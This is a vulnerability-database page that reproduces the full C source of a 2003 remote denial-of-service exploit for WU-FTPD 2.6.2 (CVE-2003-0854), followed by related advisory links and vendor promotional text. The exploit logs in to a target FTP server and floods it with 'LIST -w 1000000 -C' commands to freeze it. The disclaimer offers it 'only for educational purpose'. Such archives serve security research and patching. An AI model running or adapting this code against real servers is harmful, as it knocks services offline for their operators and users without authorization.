Lucene search
+L

WU-FTPD 2.6.2 - 'wuftpd-freezer.c' Remote Denial of Service

🗓️ 31 Oct 2003 00:00:00Reported by Angelo RosielloType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 74 Views

WU-FTPD 2.6.2 vulnerable to remote denial of service; intended for educational purposes only.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Debian GNU/Linux Remote Compromise Protected Information
6 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Debian GNU/Linux Remote Compromise Protected Information
6 Jul 201600:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Remote Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Remote Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Remote Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CAN-2003-0854
6 Aug 202409:39
–cve
cve
CVE
CVE-2003-0854
25 Oct 200304:00
–cve
cvelist
Cvelist
CVE-2003-0854
25 Oct 200304:00
–cvelist
debian
Debian
[SECURITY] [DSA 705-1] New wu-ftpd packages fix denial of service
4 Apr 200515:18
–debian
debiancve
Debian CVE
CVE-2003-0854
25 Oct 200304:00
–debiancve
Rows per page
/*
*		 (c) Rosiello Security
*
* Copyright Rosiello Security 2003
*	 All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail	: angelo rosiello org
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

void addr_initialize( );
void usage( );

int main( int argc, char **argv )
{
	int i, sd, PORT, loop, error;
	char user[30], password[30], ch;
	struct sockaddr_in server_addr;

	fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
	fprintf( stdout, "http://www.rosiello.org\n" );
	fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );

	if( argc != 6 ) usage( argv[0] );

	if( strlen( argv[3] ) > 20 ) exit( 0 );
	if( strlen( argv[4] ) > 20 ) exit( 0 );

	sprintf( user, "USER %s\n", argv[3] );
	sprintf( password, "PASS %s\n", argv[4] );

	PORT = atoi( argv[2] );
	loop = atoi( argv[5] );

	addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
	sd = socket( AF_INET, SOCK_STREAM, 0 );

	error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
	if( error != 0 )
	{
		perror( "Something wrong with the connection" );
		exit( 0 );
	}

	while ( ch != '\n' )
	{
		recv( sd, &ch, 1, 0);
		printf("%c", ch );
	}

	ch = '\0';

	printf( "Connection executed, now waiting to log in...\n" );

	printf( "%s", user );

	send( sd, user, strlen( user ), 0 );
	while ( ch != '\n' )
	{
		recv( sd, &ch, 1, 0);
		printf("%c", ch );
	}
	printf( "%s", password );

	ch = '\0';

	send( sd, password, strlen( password ), 0 );
	while ( ch != '\n' )
	{
		recv( sd, &ch, 1, 0);
		printf("%c", ch );
	}

	printf( "Sending the DoS query\n" );
	for( i=0; i<loop; i++ )
	{
		write( sd, "LIST -w 1000000 -C\n", 19 );
	}
	printf( "All done\n" );
	close( sd );
	return 0;
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
	address -> sin_family = AF_INET;
	address -> sin_port = htons((u_short)port);
	address -> sin_addr.s_addr = IPaddr;
}

void usage( char *program )
{
	fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
	exit(0);
}


// milw0rm.com [2003-10-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2019 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.01108
74